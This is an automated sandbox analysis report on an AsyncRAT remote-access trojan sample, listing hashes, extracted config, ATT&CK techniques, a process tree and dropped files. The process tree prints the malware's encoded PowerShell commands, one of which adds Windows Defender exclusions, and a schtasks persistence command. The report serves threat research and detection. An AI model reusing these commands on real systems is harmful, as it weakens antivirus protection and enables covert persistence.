asyncrat | 2ebed6be66514b15e46f9b3afc93a20c9bbfb9aebba07128320b2e56c239e3d9

General

Target

PEinstall.exe
Size

57KB
MD5

ea80d619808889ea8edb799056a67bc1
SHA1

de591d83c5e24498a294366205d0a12d2098385c
SHA256

2ebed6be66514b15e46f9b3afc93a20c9bbfb9aebba07128320b2e56c239e3d9
SHA512

d7e43ccd9a2f4f0d959d49ddc089a90da4e7e00cde0480c849d5078cf6127d5a15f4229067170399e6722a574b43f2121f9cbc8b34768b844583adacaff07929
SSDEEP

1536:KERi5rR21kXfc3dLnUAfUgc2vZnmHYUTmu1ycX9D:3RV6EpUgcTmu1ycX9D

Score

10^/10

asyncrat default defense_evasion discovery rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

127.0.0.1:2009

Mutex

jc1XWfeoz50P

Attributes

delay
10
install
true
install_file
executor.exe
install_folder
%Temp%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x000a00000002408b-20.dat	family_asyncrat

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2362875047-775336530-2205312478-1000\Control Panel\International\Geo\Nation	PEinstall.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2362875047-775336530-2205312478-1000\Control Panel\International\Geo\Nation	PEInstaller.exe

Executes dropped EXE 2 IoCs

pid	Process
4720	PEInstaller.exe
2664	executor.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	executor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PEInstaller.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1152	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1796	schtasks.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
5800	powershell.exe
5800	powershell.exe
4396	powershell.exe
4396	powershell.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe
4720	PEInstaller.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	5800	powershell.exe
Token: SeDebugPrivilege	4396	powershell.exe
Token: SeDebugPrivilege	4720	PEInstaller.exe
Token: SeDebugPrivilege	2664	executor.exe
Token: SeDebugPrivilege	2664	executor.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4312 wrote to memory of 5800	4312	PEinstall.exe	84
PID 4312 wrote to memory of 5800	4312	PEinstall.exe	84
PID 4312 wrote to memory of 4396	4312	PEinstall.exe	89
PID 4312 wrote to memory of 4396	4312	PEinstall.exe	89
PID 4312 wrote to memory of 4720	4312	PEinstall.exe	91
PID 4312 wrote to memory of 4720	4312	PEinstall.exe	91
PID 4312 wrote to memory of 4720	4312	PEinstall.exe	91
PID 4720 wrote to memory of 828	4720	PEInstaller.exe	99
PID 4720 wrote to memory of 828	4720	PEInstaller.exe	99
PID 4720 wrote to memory of 828	4720	PEInstaller.exe	99
PID 4720 wrote to memory of 4936	4720	PEInstaller.exe	101
PID 4720 wrote to memory of 4936	4720	PEInstaller.exe	101
PID 4720 wrote to memory of 4936	4720	PEInstaller.exe	101
PID 828 wrote to memory of 1796	828	cmd.exe	103
PID 828 wrote to memory of 1796	828	cmd.exe	103
PID 828 wrote to memory of 1796	828	cmd.exe	103
PID 4936 wrote to memory of 1152	4936	cmd.exe	104
PID 4936 wrote to memory of 1152	4936	cmd.exe	104
PID 4936 wrote to memory of 1152	4936	cmd.exe	104
PID 4936 wrote to memory of 2664	4936	cmd.exe	105
PID 4936 wrote to memory of 2664	4936	cmd.exe	105
PID 4936 wrote to memory of 2664	4936	cmd.exe	105

C:\Users\Admin\AppData\Local\Temp\PEinstall.exe
"C:\Users\Admin\AppData\Local\Temp\PEinstall.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAcgBmACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHgAYwBxACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVABoAGUAcgBlACAAdwBhAHMAIABhAG4AIABlAHIAcgBvAHIAIABlAHgAZQBjAHUAdABpAG4AZwAgAHQAaABpAHMAIABwAHIAbwBnAHIAYQBtAC4AIABDAG8AbgB0AGEAYwB0ACAAdABoAGUAIABhAHUAdABoAG8AcgAgAGYAbwByACAAbQBvAHIAZQAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAuACcALAAnACcALAAnAE8ASwAnACwAJwBFAHIAcgBvAHIAJwApADwAIwB4AG0AYwAjAD4A"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbQBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQByACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAcQBnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGEAYQBzACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4396
- C:\Users\Admin\AppData\Roaming\PEInstaller.exe
  "C:\Users\Admin\AppData\Roaming\PEInstaller.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4720
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "executor" /tr '"C:\Users\Admin\AppData\Local\Temp\executor.exe"' & exit
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:828
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "executor" /tr '"C:\Users\Admin\AppData\Local\Temp\executor.exe"'
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpAF99.tmp.bat""
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4936
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:1152
  - - C:\Users\Admin\AppData\Local\Temp\executor.exe
      "C:\Users\Admin\AppData\Local\Temp\executor.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2664

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
845203123df3f3e6101aabffdc683925

SHA1
c6550fe66ae23972c783e4f45b48b0d62e9180ea

SHA256
4aba3763d59cd76ea18b28d4f6ff291fad1264e10f1759d5e5e4a30b34ca5daf

SHA512
00bbfc7bca526b0b67e300d253596dec6f7364dde5af1ba1e88daeaa4d548b0028b7730308b6659dba9f6f82cd9af722fc08f755bcc09e160f820f8e580df0aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uk2lnfix.c4y.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpAF99.tmp.bat

Filesize
155B

MD5
078ac152d816159d3e8d2c9facbe75fa

SHA1
2376dc82f62f9faa3c358fe433b96dc2247347fc

SHA256
bb0e4701c5bb6d21d88e0b40ee199fc6cd0181bb342020638234f2ff942b9a92

SHA512
de4ed9cb8fae93d4301884576f3f175cb39c5d2668b4a45c05974bebd853e299e9efea2e59b39e0a572b4a1de9fd8b5b6c5a6f28d30a93150fbdf47baab1f586

Download Submit
C:\Users\Admin\AppData\Roaming\PEInstaller.exe

Filesize
48KB

MD5
a96ef57452d73871dc1045b96fddcf96

SHA1
7a9b28306b0fc32d4281b756be5bc91f53234696

SHA256
2fd4684b115a4b607493596b7fba4d54ddc7d97aec1852fbd60d449f353c2902

SHA512
14db2977907baa98fe81f66fc0b44d360bee92d8b5e53527021fd9ef5f182e3aaa30e5e05ef95b0eac3d09b21074e89dee42c59d8a23b91a3dfa0c4871c3cd8e

Download Submit
memory/4312-2-0x00007FFF04220000-0x00007FFF04CE1000-memory.dmp

Filesize
10.8MB

Download
memory/4312-1-0x0000000000B80000-0x0000000000B94000-memory.dmp

Filesize
80KB

Download
memory/4312-0-0x00007FFF04223000-0x00007FFF04225000-memory.dmp

Filesize
8KB

Download
memory/4312-37-0x00007FFF04220000-0x00007FFF04CE1000-memory.dmp

Filesize
10.8MB

Download
memory/4720-47-0x00000000057E0000-0x000000000587C000-memory.dmp

Filesize
624KB

Download
memory/4720-38-0x00000000009C0000-0x00000000009D2000-memory.dmp

Filesize
72KB

Download
memory/4720-46-0x0000000005340000-0x00000000053A6000-memory.dmp

Filesize
408KB

Download
memory/5800-8-0x000002919B380000-0x000002919B3A2000-memory.dmp

Filesize
136KB

Download
memory/5800-44-0x00007FFF04220000-0x00007FFF04CE1000-memory.dmp

Filesize
10.8MB

Download
memory/5800-45-0x00007FFF04220000-0x00007FFF04CE1000-memory.dmp

Filesize
10.8MB

Download
memory/5800-13-0x00007FFF04220000-0x00007FFF04CE1000-memory.dmp

Filesize
10.8MB

Download
memory/5800-15-0x00007FFF04220000-0x00007FFF04CE1000-memory.dmp

Filesize
10.8MB

Download
memory/5800-14-0x00007FFF04220000-0x00007FFF04CE1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads